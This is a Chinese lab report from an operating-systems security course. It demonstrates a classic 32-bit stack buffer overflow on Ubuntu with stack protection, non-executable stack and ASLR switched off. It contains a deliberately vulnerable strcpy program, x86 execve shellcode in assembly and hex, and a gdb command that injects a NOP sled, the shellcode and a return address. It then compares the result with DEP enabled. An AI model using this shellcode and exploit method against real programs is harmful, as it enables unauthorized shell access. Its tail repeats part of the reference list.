操作系统安全实验
缓冲区溢出与数据执行保护DEP实验实验环境虚拟机:VirtualBox6.1.30操作系统:Ubuntu21.04主机OS:Microsoft Windows10实验要求在关闭数据执行保护机制下,在Linux系统平台上实现缓冲区溢出攻击开启数据执行保护机制,运行一样的溢出攻击代码,比较实验现象缓冲区溢出概述定义缓冲区是指被程序内部使用或存放用户输入的内存区域,而溢出是指计算机向缓冲区填充数据时超出
缓冲区溢出与数据执行保护DEP实验
实验环境
虚拟机:VirtualBox 6.1.30
操作系统:Ubuntu21.04
主机OS:Microsoft Windows10
实验要求
- 在关闭数据执行保护机制下,在Linux系统平台上实现缓冲区溢出攻击
- 开启数据执行保护机制,运行一样的溢出攻击代码,比较实验现象
缓冲区溢出概述
- 定义
- 缓冲区是指被程序内部使用或存放用户输入的内存区域,而溢出是指计算机向缓冲区填充数据时超出了缓冲区本身的容量,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
- 由于堆栈是由内存高地址向内存低地址方向增长,而数组的变量是从内存低地址向高地址方向增长。如果没有对数据的越界进行检查和限制,通过向程序的数组缓冲区写入超出其长度的内容,覆盖堆栈原来的返回地址,就会造成缓冲区溢出,从而破坏程序的堆栈。如果构造特殊的注入向量覆盖返回地址,使程序转而执行恶意代码,就达到攻击的目的。
- 作用
- 使程序崩溃,进行拒绝服务攻击
- 在程序的地址空间里安排适当的代码。
- 原因
- 程序没有仔细检查用户输入
数据执行保护DEP
-
原因
在冯·诺依曼体系中不区分代码和数据 -
基本原理
将数据所在内存页标识为不可执行,阻止数据页执行代码。当程序溢出成功尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。 -
缺点
- 硬件DEP需要CPU的支持,但并不是所有的CPU都提供了硬件DEP的支持
- 由于兼容性的原因Windows不能对所有进程开启DEP保护,否则可能会出现异常。例如一些第三方的插件DLL,由于无法确认其是否支持DEP,对涉及这些DLL的程序不敢贸然开启DEP保护
- 当DEP工作在最主要的两种状态optin和optout下时,DEP是可以被动态关闭和开启的,这就说明操作系统提供了某些API函数来控制DEP的状态,而API的调用没有任何限制
栈溢出
- 函数调用栈
- 运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等
- 在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大
- 函数状态主要涉及三个寄存器
- ebp 存储当前执行函数的基地址,在函数运行时不变,常用来索引确定函数参数或局部变量的位置。
- esp 存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
- eip 存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,然后eip 自动指向下一条指令
实验内容
-
编写可溢出程序
// filename:bof.c #include <stdio.h> #include <string.h> int main(int argc, char **argv){ char buf[128];// buf是一个函数的局部变量,放在栈上 if(argc < 2) return 1; strcpy (buf ,argv[1]);// 将调用程序后面的输入赋值到buf中,可能溢出 printf("argv[1]:%s\n", buf); return 0; }
-
溢出原因:strcpy函数赋值对于目的字符数组的空间溢出不进行检查
-
使用如下指令编译程序
gcc -z execstack -fno-stack-protector bof.c -o bof -m32
-
-z execstack:关闭栈保护执行,即栈内的数据页可以作为指令执行
-
-fno-stack-protector:
禁用栈保护canary,如果启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中这个cookie信息称为canary。
-
-
-
编写shellcode
-
定义:通常用于为攻击者启动一个能控制受害者机器的shell的一小段代码
-
Syscall的系统调用函数
int execve(const char *filename, char *const argv[], char * envp[]);
- 设置execve的系统调用号:%eax = 0xb
- 第一个参数filename:%ebx指向系统调用文件字符串的首地址,字符串末尾为’/0’
- argv:要传递给程序的完整参数列表,一般是执行程序的名字,使用%ecx指向
- envp:指向执行execed程序的专门环境指针,使用%edx指向
-
编写shellcode
// filename:shellcode.c #include <stdio.h> void shellcode(){ __asm__( "xor %eax,%eax\n\t" // 将eax寄存器异或处理值为0 "pushl %eax\n\t" // 将0压入栈,push相当于pushl "push $0x68732f2f\n\t" // 将“//sh”压入栈,//是为了凑4个字节对齐 "push $0x6e69622f\n\t" // 将“/bin”压入栈 "movl %esp,%ebx\n\t" // 将栈底指针ebx赋值为当前栈顶指针esp "pushl %eax\n\t" // 将0压入栈中 "pushl %ebx\n\t" // 将字符串“//sh/bin/0”的首地址压入栈中 "movl %esp,%ecx\n\t" // 让ecx指向ebx "cltd\n\t" // 让eax拓展到edx:eax,即edx设置为0 "movb $0xb,%al\n\t" // 将execve的功能号赋值给eax的低八位 "int $0x80\n\t" // 使用软中断进行系统调用 ); } int main(int argc, char **argv){ shellcode(); return 0; }
-
编译shellcode
gcc -m32 -o shellcode shellcode.c
-
反汇编shellcode
objdump –d shellcode | less
-
实现16进制的shellcode
//filename: shellcode_asm.c #include<stdio.h> #include<string.h> int main(){ char shellcode[]= "\x31\xc0\x50\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89" "\xe1\x99\xb0\x0b\xcd\x80"; void (*fp)(void); fp = (void*)shellcode; fp(); return 0; }
gcc -z execstack -m32 -o shellcode shellcode_asm.c
-
-
关闭地址随机化ASLR保护机制
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
-
测试数组长度
gcc -z execstack -fno-stack-protector bof.c -o bof -m32 gdb -q --args ./bof $(python -c 'print "A" * 120 + "BBBB"+"CCCC"')
- 字符C的16进制为43,所以C覆盖了返回地址,导致程序中断,此时使用
$x/200wx $esp - 200
,找到字符A的连续值为41的起始地址shellAddress,再将shellAdderss覆盖到返回地址即可
- 字符C的16进制为43,所以C覆盖了返回地址,导致程序中断,此时使用
-
成功
gcc -z execstack -fno-stack-protector bof.c -o bof -m32 gdb -q --args ./bof $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x98\xd3\xff\xff"')
- '\x90’表示NOP,即cpu向下滑动的控指令,因为编译过程可能增加变量导致地址改变,因此增加NOP,只要命中NOP中的一个即可向下滑动到shellcode执行
参考资料
- 缓冲区溢出实验https://blog.csdn.net/qq_38217427/article/details/105647504
- 缓冲区溢出攻击的分析及防范策略
http://www.doczj.com/doc/acdc2c586d1aff00bed5b9f3f90f76c660374c00-3.html - 栈溢出从入门到放弃https://zhuanlan.zhihu.com/p/25816426
- Windows 缓冲区溢出与数据执行保护DEP
http://blog.csdn.net/morewindows/article/details/6887136 - 缓冲区溢出(栈溢出)https://www.cnblogs.com/tcctw/p/11487645.html
- 栈溢出综合知识https://space.bilibili.com/521870525/channel/seriesdetail?sid=665628
- Canary保护机制(栈保护)的开启与关闭
https://blog.csdn.net/ConlinderFeng/article/details/108436147 - Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153
ail?sid=665628 - Canary保护机制(栈保护)的开启与关闭
https://blog.csdn.net/ConlinderFeng/article/details/108436147 - Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153
更多推荐
所有评论(0)